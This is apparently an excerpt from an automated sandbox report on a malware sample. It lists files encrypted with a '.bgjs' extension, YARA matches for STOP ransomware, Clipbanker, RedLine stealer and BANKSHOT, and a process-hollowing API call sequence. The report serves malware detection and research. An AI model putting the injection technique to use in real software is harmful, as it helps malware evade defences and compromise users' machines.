Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.bgjs (copy) entropy: 7.99821701901	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.bgjs (copy) entropy: 7.99714774899	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.bgjs (copy) entropy: 7.99828513103	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.bgjs (copy) entropy: 7.99278458176	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.bgjs (copy) entropy: 7.9970353908	Jump to dropped file
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199673019888[1].htm entropy: 7.9946859727	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.build3.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.build3.exe.9715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.mstsca.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.24115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 18.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 18.2.mstsca.exe.9615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 29.2.mstsca.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 29.2.mstsca.exe.24115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 27.2.mstsca.exe.9115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 27.2.mstsca.exe.9115a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.mstsca.exe.8915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 25.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 25.2.mstsca.exe.8915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 27.2.mstsca.exe.9115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 27.2.mstsca.exe.9115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 26.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 30.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 30.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 28.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 18.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 18.2.mstsca.exe.9615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 11.2.build3.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 11.2.build3.exe.9715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 15.2.build3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 5.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 15.2.build3.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 1.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 23.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 23.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 19.2.mstsca.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.Z4CYGTBlj7.exe.5df15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 22.2.Z4CYGTBlj7.exe.5ea15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.Z4CYGTBlj7.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.2.Z4CYGTBlj7.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 1.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 1.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.Z4CYGTBlj7.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.Z4CYGTBlj7.exe.5c915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001A.00000002.2746264570.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000012.00000002.2354024907.0000000000960000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.2246383419.0000000000A3C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000004.00000002.2026921389.0000000004458000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000019.00000002.2747322781.00000000009A0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001B.00000002.3371787102.0000000000820000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001D.00000002.3960074631.0000000000820000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000013.00000002.4452588974.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000C.00000002.2176760234.0000000004452000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001E.00000002.3959334294.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001D.00000002.3960348495.0000000002410000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000F.00000002.2247201319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001B.00000002.3372159400.0000000000910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.2113400780.0000000001CFE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000012.00000002.2354307635.0000000000B2D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 00000019.00000002.2747130938.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000000B.00000002.2246217362.0000000000970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000016.00000002.2436081447.000000000425D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.2046892005.000000000444F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2003325383.0000000004498000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 0000001C.00000002.3371066781.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000017.00000002.2448318132.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 5144, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 6392, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 7136, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 6600, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 2724, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 4408, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 320, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 5680, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 3160, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_05DD0110
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		4_2_05DF0110

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_00404F6E	0_2_00404F6E
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD3520	0_2_05DD3520
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD7520	0_2_05DD7520
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DFD7F1	0_2_05DFD7F1
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDA79A	0_2_05DDA79A
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDC760	0_2_05DDC760
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDE6E0	0_2_05DDE6E0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDA699	0_2_05DDA699
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05E1B69F	0_2_05E1B69F
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DFD1A4	0_2_05DFD1A4
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05E1E141	0_2_05E1E141
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD9120	0_2_05DD9120
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DE00D0	0_2_05DE00D0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD30F0	0_2_05DD30F0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD70E0	0_2_05DD70E0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDB0B0	0_2_05DDB0B0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDB000	0_2_05DDB000
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DEF030	0_2_05DEF030
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDA026	0_2_05DDA026
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD7393	0_2_05DD7393
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05E1E37C	0_2_05E1E37C
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05E522C0	0_2_05E522C0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD7220	0_2_05DD7220
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD5DF7	0_2_05DD5DF7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD5DE7	0_2_05DD5DE7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05E12D1E	0_2_05E12D1E
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05E04E9F	0_2_05E04E9F
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD8E60	0_2_05DD8E60
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD89D0	0_2_05DD89D0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD59F7	0_2_05DD59F7
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DFF9B0	0_2_05DFF9B0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DFE9A3	0_2_05DFE9A3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDA916	0_2_05DDA916
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DF18D0	0_2_05DF18D0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD7880	0_2_05DD7880
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDDBE0	0_2_05DDDBE0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD2B60	0_2_05DD2B60
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DE0B00	0_2_05DE0B00
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD7A80	0_2_05DD7A80
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DDCA10	0_2_05DDCA10
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040D240	1_2_0040D240
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00419F90	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040C070	1_2_0040C070
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0042E003	1_2_0042E003
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00408030	1_2_00408030
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00410160	1_2_00410160
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004021C0	1_2_004021C0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0044237E	1_2_0044237E
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004084C0	1_2_004084C0
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004344FF	1_2_004344FF
